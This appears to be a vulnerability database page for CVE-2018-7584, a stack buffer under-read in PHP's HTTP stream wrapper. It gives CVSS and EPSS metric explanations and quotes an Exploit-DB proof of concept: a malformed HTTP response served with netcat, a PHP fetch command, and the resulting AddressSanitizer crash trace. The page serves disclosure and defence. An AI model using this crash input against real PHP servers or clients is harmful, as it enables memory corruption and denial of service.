CVE-2018-7584 Detail

CVE-2018-7584

Score / Severity

9.8

Critical

CVE Descriptions

In PHP through 5.6.33, 7.0.x before 7.0.28, 7.1.x through 7.1.14, and 7.2.x through 7.2.2, there is a stack-based buffer under-read while parsing an HTTP response in the php_stream_url_wrap_http_ex function in ext/standard/http_fopen_wrapper.c. This subsequently results in copying a large string.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	9.8	CRITICAL	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44846

Publication date : 2018-06-05
22h00 +00:00
Author : Wei Lei and Liu Yang
EDB Verified : Yes

Description: ------------ The latest PHP distributions contain a memory corruption bug while parsing malformed HTTP response packets. Vulnerable code at: php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 if (tmp_line[tmp_line_len - 1] == '\n') { --tmp_line_len; if (tmp_line[tmp_line_len - 1] == '\r') { --tmp_line_len; } } If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed. $ bin/php --version PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies Test script: --------------- $ xxd -g 1 poc 0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a 000000000100.. $ nc -vvlp 8080 < poc Listening on [0.0.0.0] (family 0, port 8080) Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083) GET / HTTP/1.0 Host: localhost:8080 Connection: close $ bin/php -r 'file_get_contents("http://localhost:8080");' Expected result: ---------------- NO CRASH Actual result: -------------- $ bin/php -r 'file_get_contents("http://localhost:8080");' ================================================================= ==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac READ of size 1 at 0xbfc038ef thread T0 #0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 #1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979 #2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027 #3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550 #4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224 #5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573 #6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731 #7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760 #8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082 #9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123 #10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134 #11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042 #12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404 #13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) #14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0) Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack: This frame has 13 object(s): [32, 36) 'transport_string' [96, 100) 'errstr' [160, 164) 'http_header_line_length' [224, 232) 'timeout' [288, 296) 'req_buf' [352, 360) 'tmpstr' [416, 432) 'ssl_proxy_peer_name' [480, 496) 'http_header' [544, 576) 'buf' [608, 736) 'tmp_line' [768, 1792) 'location' [1824, 2848) 'new_path' [2880, 3904) 'loc_path' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex Shadow bytes around the buggy address: 0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4 0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4 0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00 =>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00 0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==26249== ABORTING Aborted